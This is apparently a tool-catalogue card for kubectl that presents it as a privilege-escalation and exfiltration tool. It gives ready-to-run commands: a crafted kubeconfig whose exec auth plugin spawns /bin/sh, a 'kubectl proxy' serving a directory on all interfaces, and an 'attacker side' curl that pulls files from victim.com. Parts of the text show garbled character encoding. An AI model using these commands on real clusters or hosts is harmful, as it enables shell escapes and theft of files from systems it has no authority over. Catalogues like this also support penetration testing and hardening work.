orchestration enabled community medium v1.0.0

kubectl

Kubernetes command-line tool that can spawn shells via exec auth config and serve files via proxy.

📋 Live Preview
kubectl {kubeconfig} {proxy} {address} {port} {www} {www-prefix}
๐Ÿ“Ž kubeconfig ๐Ÿ“Ž proxy ๐Ÿ“Ž address ๐Ÿ“Ž port ๐Ÿ“Ž www ๐Ÿ“Ž www-prefix
kubectl {kubeconfig} {proxy} {address} {port} {www} {www-prefix}

Sandbox: execFile · Timeout: 60s

Capabilities

security.privilege-escalation.shell
network.transfer.upload
orchestration.kubernetes.manage

Parameters

Name Type Required Default Description Aliases
kubeconfig file No - Path to kubeconfig file --kubeconfig
proxy string No - Run proxy proxy
address string No - Proxy listen address --address
port integer No - Proxy listen port --port
www string No - Directory to serve --www
www-prefix string No - URL prefix for served files --www-prefix

Contract

Inputs

orchestration.kubeconfig

Path to kubeconfig

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

orchestration.kubeconfig

Resource Profile

ResourceValue
CPUlow
Memory32 MB
Networkmedium
Disk I/Olow

Examples

Spawn shell via crafted kubeconfig with exec auth plugin

cat >/path/to/temp-file <<EOF
clusters:
- cluster:
    server: https://x
  name: x
contexts:
- context:
    cluster: x
    user: x
  name: x
current-context: x
users:
- name: x
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1
      interactiveMode: Always
      command: /bin/sh
      args:
        - '-c'
        - '/bin/sh 0<&2 1>&2'
EOF
kubectl get pods --kubeconfig=/path/to/temp-file

Serve directory via HTTP for file upload

kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/

Download files from kubectl HTTP server (attacker side)

curl victim.com:12345/x/path/to/input-file -o /path/to/output-file

Documentation

kubectl โ€” Kubernetes CLI

kubectl manages Kubernetes clusters. It can spawn a privileged shell via a crafted kubeconfig file with an exec-based authentication plugin, and serve files via the proxy subcommand for data exfiltration.

Related Tools

helmk9s

References